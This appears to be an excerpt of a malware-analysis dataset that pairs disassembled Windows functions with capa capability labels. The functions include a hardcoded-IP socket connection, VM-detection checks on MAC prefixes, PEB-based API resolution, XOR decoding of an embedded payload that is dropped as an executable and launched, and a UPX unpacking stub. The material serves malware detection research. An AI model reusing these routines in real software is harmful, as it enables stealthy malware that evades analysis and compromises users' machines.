joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40112f
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x42203c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push dword [0xc]
mov edi, dword [sym.imp.WS2_32.dll_socket]
xor ebx, ebx
push dword [8]
mov dword [ebp - 0x48], ebx
push dword [4]
call edi
push ebx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [ebp - 0x48]
mov dword [ebp - 0x44], ebx
push eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x40], ebx
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x3c], 1
push str.15226
push str.158.185.182.111
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x38], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x48]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call edi
cmp eax, 0xffffffff
jne 0x4011c8
push 0x3e8
call ebx
jmp 0x4011ac
push dword [esi + 0x10]
push dword [esi + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_connect]
push dword [ebp - 0x48]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call fcn.0040107d
mov esi, str.1g8218hg18hg12
lea edi, [ebp - 0x1c]
lea eax, [ebp - 0x1c]
push eax
push str._s1htg81h8f
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x24]
push 4
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00401060
xor eax, eax
mov byte [ebp - 0x20], 0x35
mov word [ebp - 0x1f], ax
mov byte [ebp - 0x1d], al
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0xc], 0x35676635
push 4
push eax
mov word [ebp - 8], 0x6766
call fcn.00406837
add esp, 0x1c
push 0x2710
call ebx
push str.asghjq7ash71hfu12tr1fvasfa
call fcn.00401006
push 1
call fcn.00402559
push 1
push eax
call fcn.00402589
add esp, 0x10
jmp 0x401231
Function at 0x401256
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x42203c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
xor ebx, ebx
push esi
push edi
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, 0x178
mov dword [ebp - 0x1c], eax
xor edi, edi
push eax
call fcn.004068a0
mov esi, eax
pop ecx
test esi, esi
je 0x4013e8
lea eax, [ebp - 0x1c]
push eax
push esi
push 0
push 0x10
push 0
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
cmp eax, 0x6f
jne 0x4012c0
push esi
call fcn.0040681c
xor esi, esi
mov eax, edi
inc edi
pop ecx
cmp eax, 3
jae 0x4013dd
mov eax, dword [ebp - 0x1c]
jmp 0x40127f
test eax, eax
jne 0x4013dd
push 9
pop edi
cmp dword [esi + 0x34], 0
je 0x4013d0
movzx eax, byte [esi + 0x31]
push eax
movzx eax, byte [esi + 0x30]
push eax
movzx eax, byte [esi + 0x2f]
push eax
movzx eax, byte [esi + 0x2e]
push eax
movzx eax, byte [esi + 0x2d]
push eax
movzx eax, byte [esi + 0x2c]
push eax
push str._02x__02x__02x__02x__02x__02x
lea eax, [ebp - 0x18]
push 0x14
push eax
call fcn.00401060
push str.VMnet
push dword [esi + 0x24]
call fcn.004035aa
add esp, 0x2c
test eax, eax
jne 0x4013d0
mov byte [ebp - 0x10], al
lea edx, [ebp - 0x18]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edi, str.00_05_69
push 9
cmp al, byte [edi + ecx]
pop edi
jne 0x40133e
inc ecx
cmp ecx, edi
jne 0x401323
jmp 0x4013cd
lea edx, [ebp - 0x18]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edi, str.00_0c_29
push 9
cmp al, byte [edi + ecx]
pop edi
jne 0x40135b
inc ecx
cmp ecx, edi
jne 0x401343
jmp 0x4013cd
lea edx, [ebp - 0x18]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edi, str.00_50_56
push 9
cmp al, byte [edi + ecx]
pop edi
jne 0x401378
inc ecx
cmp ecx, edi
jne 0x401360
jmp 0x4013cd
lea edx, [ebp - 0x18]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edi, str.00_03_ff
push 9
cmp al, byte [edi + ecx]
pop edi
jne 0x401395
inc ecx
cmp ecx, edi
jne 0x40137d
jmp 0x4013cd
lea edx, [ebp - 0x18]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edi, str.08_00_27
push 9
cmp al, byte [edi + ecx]
pop edi
jne 0x4013b2
inc ecx
cmp ecx, edi
jne 0x40139a
jmp 0x4013cd
lea edx, [ebp - 0x18]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edi, str.52_54_00
push 9
cmp al, byte [edi + ecx]
pop edi
jne 0x4013d0
inc ecx
cmp ecx, edi
jne 0x4013b7
xor ebx, ebx
inc ebx
mov esi, dword [esi + 8]
test esi, esi
jne 0x4012cb
jmp 0x4013e4
push esi
call fcn.0040681c
pop ecx
mov eax, ebx
jmp 0x4013ea
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402429
leave
ret

Function at 0x4013f9
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
ret
Function at 0x40140d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ecx + 0x3c]
xor edx, edx
cmp dword [eax + ecx + 0x7c], edx
je 0x4014c4
mov eax, dword [eax + ecx + 0x78]
test eax, eax
je 0x4014c4
push ebx
mov ebx, dword [eax + ecx + 0x20]
push esi
mov esi, dword [eax + ecx + 0x1c]
add ebx, ecx
mov dword [ebp - 4], ebx
add esi, ecx
mov ebx, dword [eax + ecx + 0x24]
push edi
mov edi, dword [eax + ecx + 0x18]
add ebx, ecx
mov dword [ebp - 8], esi
dec edi
mov esi, edx
mov eax, dword [ebp - 4]
mov eax, dword [eax + edx*4]
add eax, ecx
cmp byte [eax], 0x47
jne 0x4014aa
cmp byte [eax + 1], 0x65
jne 0x4014aa
cmp byte [eax + 2], 0x74
jne 0x4014aa
cmp byte [eax + 3], 0x50
jne 0x4014aa
cmp byte [eax + 4], 0x72
jne 0x4014aa
cmp byte [eax + 5], 0x6f
jne 0x4014aa
cmp byte [eax + 6], 0x63
jne 0x4014aa
cmp byte [eax + 7], 0x41
jne 0x4014aa
cmp byte [eax + 8], 0x64
jne 0x4014aa
cmp byte [eax + 9], 0x64
jne 0x4014aa
cmp byte [eax + 0xa], 0x72
jne 0x4014aa
cmp byte [eax + 0xb], 0x65
jne 0x4014aa
cmp byte [eax + 0xc], 0x73
jne 0x4014aa
cmp byte [eax + 0xd], 0x73
je 0x4014b1
inc edx
cmp edx, edi
jbe 0x40144f
jmp 0x4014bd
movzx eax, word [ebx + edx*2]
mov esi, dword [ebp - 8]
mov esi, dword [esi + eax*4]
add esi, ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
xor eax, eax
leave
ret

Function at 0x4014c8
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42203c]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x24], 0
mov eax, 0x615
and dword [ebp - 0xa], 0
xorps xmm0, xmm0
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x24]
push eax
movlpd qword [ebp - 0x12], xmm0
mov dword [ebp - 0x1c], str._internal
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], 2
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov ecx, dword [ebp - 4]
neg eax
sbb al, al
xor ecx, ebp
inc al
call fcn.00402429
leave
ret
Function at 0x40151e
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [0x42203c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.004013f9
mov ecx, eax
call fcn.0040140d
mov ecx, eax
mov dword [ebp - 0x14], 0x45746553
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 0x726f7272
xor ebx, ebx
mov dword [ebp - 0xc], 0x65646f4d
push eax
mov byte [ebp - 8], bl
call fcn.004013f9
push eax
call ecx
mov edi, 0x400
mov esi, eax
push edi
call esi
push ebx
call esi
cmp eax, edi
jne 0x4016da
call fcn.00401256
test eax, eax
je 0x401599
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402429
leave
ret 0x10
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x32717771
mov dword [ebp - 0xc], 0x333230
lea edx, [ecx + 1]
mov esi, ebx
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4015af
sub ecx, edx
mov edi, 0x33201
xor edx, edx
mov eax, esi
div ecx
mov al, byte [ebp + edx - 0x10]
xor byte [esi + 0x4228e0], al
inc esi
cmp esi, edi
jb 0x4015bd
push ebx
push 2
push ebx
push str.wlanext.exe
push 0x420a64
push edi
push 0x4228e0
call fcn.00401724
mov esi, 0x420a68
lea edi, [ebp - 0x10]
lea ecx, [ebp - 0x10]
add esp, 0x1c
lea edx, [ecx + 1]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, ebx
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401601
sub ecx, edx
mov edi, 0x38c4c8
xor edx, edx
mov eax, esi
div ecx
mov al, byte [ebp + edx - 0x10]
xor byte [esi + 0x455ae8], al
inc esi
cmp esi, edi
jb 0x40160f
push str.TEMP
lea eax, [ebp - 0x120]
mov dword [ebp - 0x124], ebx
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.00406a20
push dword [ebp - 0x128]
mov esi, 0x105
lea eax, [ebp - 0x11c]
push str._s_internal
push esi
push eax
call fcn.00401060
lea edx, [ebp - 0x11c]
call fcn.004014c8
push dword [ebp - 0x128]
lea eax, [ebp - 0x11c]
push 0x420a98
push esi
push eax
call fcn.00401060
push 0x420ab0
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.004067d5
push dword [ebp - 0x124]
push edi
push 1
push 0x455ae8
call fcn.004066bb
add esp, 0x48
push dword [ebp - 0x124]
call fcn.00406418
pop ecx
push 5
push ebx
push ebx
lea eax, [ebp - 0x11c]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040112f
int3
Function at 0x1005cdac
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1008f9a0
xor eax, eax
push esi
lea esi, [eax + ecx]
lea edx, [eax - 0x7c]
inc eax
xor byte [esi], dl
cmp eax, 8
jb 0x1008f9a3
mov byte [ecx + 8], 0
mov eax, ecx
pop esi
ret

Function at 0x1005d199
Capabilities:
Encode data using xor

Disassembly:
jmp 0x10091cc0
xor eax, eax
push esi
lea esi, [eax + ecx]
lea edx, [eax - 0x7c]
inc eax
xor byte [esi], dl
cmp eax, 2
jb 0x10091cc3
mov byte [ecx + 2], 0
mov eax, ecx
pop esi
ret

Function at 0x10079be0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp word [eax + 4], 4
jne 0x10079c39
mov eax, dword [eax]
cmp eax, dword [ecx + 0x17c]
jne 0x10079c0b
mov al, byte [ecx + 0x170]
dec al
movzx eax, al
mov dword [ebp + 8], eax
pop ebp
jmp fcn.100621da
cmp eax, dword [ecx + 0x180]
jne 0x10079c27
mov al, byte [ecx + 0x170]
inc al
movzx eax, al
mov dword [ebp + 8], eax
pop ebp
jmp fcn.100621da
cmp eax, dword [ecx + 0x15c]
jne 0x10079c39
add ecx, 4
mov eax, 0x5e4de0
call eax
pop ebp
ret 4

Function at 0x1007bdf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x10149280]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0xff
push 0
push eax
call fcn.1005dfb8
mov ecx, dword [0x10147160]
add esp, 0xc
push dword [esi]
mov ecx, dword [ecx]
push 0
call dword [0x10147164]
test eax, eax
je 0x1007beae
push 8
push eax
lea eax, [ebp - 0x110]
push eax
call dword [0x10147168]
add esp, 0xc
mov dword [ebp - 0x114], 0x37777a
xor ecx, ecx
lea eax, [ecx + 0x51]
xor byte [ebp + ecx - 0x114], al
inc ecx
cmp ecx, 3
jb 0x1007be52
movzx eax, word [esi + 4]
push eax
lea eax, [ebp - 0x114]
mov byte [ebp - 0x111], 0
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.10060fce
add esp, 4
lea eax, [ebp - 0x104]
mov dword [esp + 4], 0x3f800000
mov dword [esp], 0x3f000000
push 0xffffffffffffffff
push 5
push eax
lea eax, [ebp - 0x110]
push eax
call dword [0x1014716c]
add esp, 0x18
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.1006041b
mov esp, ebp
pop ebp
ret 4

Function at 0x1007ec80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp fcn.10079be0
push ebp
mov ebp, esp
cmp byte [ecx + 4], 0
je 0x1007ec92
add ecx, 0x10
pop ebp
jmp 0x1005d6e9
pop ebp
ret 4
Function at 0x10082ae0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x10149280]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1012b790]
xor eax, eax
mov edx, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [ebp - 0x4c], 0xdad08bb0
movups xmmword [ebp - 0x5c], xmm0
mov word [ebp - 0x48], 0x64
mov byte [esi + 8], 1
lea ecx, [eax - 0x14]
xor byte [ebp + eax - 0x5c], cl
inc eax
cmp eax, 0x15
jb 0x10082b14
movzx eax, byte [edx + 0x18]
push eax
push edx
lea eax, [ebp - 0x5c]
mov byte [ebp - 0x47], 0
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.10060fce
lea eax, [ebp - 0x44]
mov dword [esi + 0x14], eax
lea eax, [esi + 0x10]
push eax
call fcn.100617fd
mov ecx, dword [ebp - 4]
add esp, 0x14
xor ecx, ebp
mov al, 1
pop esi
call fcn.1006041b
mov esp, ebp
pop ebp
ret 4

Function at 0x100891c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0x9d8f98ab
xor eax, eax
mov word [ebp - 4], 0x94
lea ecx, [eax - 0x14]
xor byte [ebp + eax - 8], cl
inc eax
cmp eax, 5
jb 0x100891d5
mov ecx, dword [0x1014763c]
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 8]
mov ecx, dword [ecx]
mov byte [ebp - 3], 0
call dword [0x10147640]
push eax
call dword [0x101933bc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1008f170
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x49c
mov eax, dword [0x10149280]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x48c]
push edi
push eax
mov dword [ebp - 0x488], esi
call fcn.1005c6bd
lea eax, [ebp - 0x48c]
push eax
call fcn.10063968
mov edi, eax
lea eax, [ebp - 0x84]
push eax
call fcn.100606cd
movaps xmm0, xmmword [0x1012bea0]
add esp, 0xc
movups xmmword [ebp - 0x49c], xmm0
xor eax, eax
nop word [eax + eax]
lea ecx, [eax - 0x7c]
xor byte [ebp + eax - 0x49c], cl
inc eax
cmp eax, 0xf
jb 0x1008f1d0
lea eax, [ebp - 0x84]
mov byte [ebp - 0x48d], 0
push eax
push dword [edi + 0xc]
mov eax, dword [edi + 0x10]
inc eax
push eax
mov eax, dword [edi + 0x14]
add eax, 0x76c
push eax
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.10060fce
lea ecx, [ebp - 0x484]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
lea edx, [ecx + 1]
add esp, 0x18
mov byte [esi], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008f230
sub ecx, edx
lea eax, [ebp - 0x484]
push ecx
push eax
mov ecx, esi
call fcn.1006247d
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.1006041b
mov esp, ebp
pop ebp
ret 4
Function at 0x1008f2a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push str..Snooper
call dword [0x101930b0]
mov esi, dword [0x1014ff34]
cmp byte [esi + 0x9b], 0
jne 0x1008f33a
mov cl, byte [str..Snoopermod.log]
mov eax, str..Snoopermod.log
nop dword [eax]
cmp cl, 0x2f
je 0x1008f2da
cmp cl, 0x3a
jne 0x1008f2dd
mov byte [eax], 0x5f
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1008f2d0
mov byte [esi], cl
mov byte [ebp - 2], cl
xor ecx, ecx
mov word [ebp - 4], 0xf6a1
lea eax, [ecx - 0x7c]
xor byte [ebp + ecx - 4], al
inc ecx
cmp ecx, 2
jb 0x1008f2f2
push str..Snoopermod.log
lea eax, [ebp - 4]
mov byte [ebp - 2], 0
push eax
push esi
call fcn.10060fce
add esp, 0xc
push esi
call dword [0x10193090]
mov dword [esi + 0x80], 0
mov dword [esi + 0x98], 0x1010101
mov dword [esi + 0x84], 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403fb2
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00402edd
xor ebx, ebx
cmp dword [0x40e9fc], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x404087
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x403ff2
xor eax, eax
jmp 0x40414b
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x403feb
push eax
call fcn.00402e7a
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40e9fc], eax
call esi
push eax
call fcn.00402e7a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40ea00], eax
call esi
push eax
call fcn.00402e7a
mov dword [0x40ea04], eax
lea eax, [ebp - 8]
push eax
call fcn.004022a3
test eax, eax
pop ecx
pop ecx
je 0x404055
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040389b
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x404087
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00402e7a
cmp eax, ebx
pop ecx
mov dword [0x40ea0c], eax
je 0x404087
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402e7a
pop ecx
mov dword [0x40ea08], eax
mov eax, dword [0x40ea08]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x404100
cmp dword [0x40ea0c], esi
je 0x404100
push eax
call fcn.00402ee6
pop ecx
call eax
cmp eax, ebx
je 0x4040cd
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x40ea0c]
call fcn.00402ee6
pop ecx
call eax
test eax, eax
je 0x4040cd
test byte [ebp - 0x18], 1
jne 0x404100
lea eax, [ebp - 0xc]
push eax
call fcn.004022da
test eax, eax
pop ecx
je 0x4040e8
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040389b
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x4040f7
or dword [ebp + 0x10], 0x200000
jmp 0x404131
or dword [ebp + 0x10], 0x40000
jmp 0x404131
mov eax, dword [0x40ea00]
cmp eax, esi
je 0x404131
push eax
call fcn.00402ee6
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x404131
mov eax, dword [0x40ea04]
cmp eax, esi
je 0x404131
push dword [ebp - 4]
push eax
call fcn.00402ee6
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x40e9fc]
call fcn.00402ee6
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405e1b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40e078]
jne 0x405e25
repz ret
jmp fcn.00407455

Function at 0x427432
Capabilities:
Encode data using xor

Disassembly:
pop ebp
clc
pushal
lea edi, [ebp + 0x42]
mov si, 0x256
cld
mov cl, byte [edi]
xor cl, 0x59
rol cl, 0xc4
xor cl, 0x18
mov byte [edi], cl
inc edi
dec si
jne 0x42743d
jmp 0x427495
fmul st(0)
fdivr dword [esi + 0x7d0c6bc0]
invalid
Function at 0x401c64
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x407164
push 0x407180
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x407188
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
cmp dword [0x407464], 0
mov dword [ebp - 8], eax
jne 0x401e1a
and byte [ebp - 0xd8], 0
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0xd7]
push str.3d3d3R3m1h3c0eQJEhYQFxRD
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.004018f0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xd8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0xd8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x4077d8
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0xc
mov ebx, 0x4074ec
test eax, eax
je 0x401e03
push 0x20
xor eax, eax
pop ecx
mov edi, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xd8]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strcspn]
push eax
lea eax, [ebp - 0xd8]
push eax
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x14
cmp dword [0x40777c], 1
jne 0x401ddf
and byte [ebp - 0x58], 0
push 0xf
pop ecx
xor eax, eax
lea edi, [ebp - 0x57]
push 0xa
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x58]
push eax
call fcn.00401bc2
pop ecx
mov edi, 0x4077d4
pop ecx
xor eax, eax
or ecx, 0xffffffff
lea edx, [ebp - 0x58]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x58]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x58]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x4077d8
lea eax, [ebp - 0xd8]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strcspn]
lea eax, [ebp + eax - 0xd7]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0xc
mov dword [0x40756c], eax
mov ax, word [0x40756c]
mov word [ebp - 0x18], 2
push eax
call dword [ebp - 4]
mov word [ebp - 0x16], ax
push ebx
jmp 0x401e2e
push 0x50
mov word [ebp - 0x18], 2
call dword [ebp - 4]
mov word [ebp - 0x16], ax
push str.www.baidu.com
jmp section..htext
Function at 0x5c1560
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf2000]
mov dword [edi + 0x105d18], 0xe0874776
push edi
jmp 0x5c158a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5c1591
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5c1580
mov eax, 1
add ebx, ebx
jne 0x5c15a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5c15b4
jne 0x5c15d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5c15d3
dec eax
add ebx, ebx
jne 0x5c15c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5c1598
add ebx, ebx
jne 0x5c15cf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5c1625
xor ecx, ecx
sub eax, 3
jb 0x5c15eb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5c165a
sar eax, 1
mov ebp, eax
jmp 0x5c15f6
add ebx, ebx
jne 0x5c15f6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5c15c4
inc ecx
add ebx, ebx
jne 0x5c1604
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5c15c4
add ebx, ebx
jne 0x5c1611
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5c1606
jne 0x5c1622
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5c1606
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5c1644
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5c1636
jmp 0x5c1586
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5c1644
add edi, ecx
jmp 0x5c1586
pop esi
mov edi, esi
mov ecx, 0x2315
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5c1662
cmp byte [edi], 0x19
jne 0x5c1662
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5c1667
lea edi, [esi + 0x1bc000]
mov eax, dword [edi]
or eax, eax
je 0x5c16df
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1cd08c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1cd17c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5c1694
mov ecx, edi
jns 0x5c16c3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1cd180]
or eax, eax
je 0x5c16d9
mov dword [ebx], eax
add ebx, 4
jmp 0x5c16b1
call dword [esi + 0x1cd190]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x5c1710
cmp al, 0xef
ja 0x5c1703
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x5c16e5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x5c16f2
mov ebp, dword [esi + 0x1cd184]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5c1744
sub esp, 0xffffff80
jmp 0x42d5e4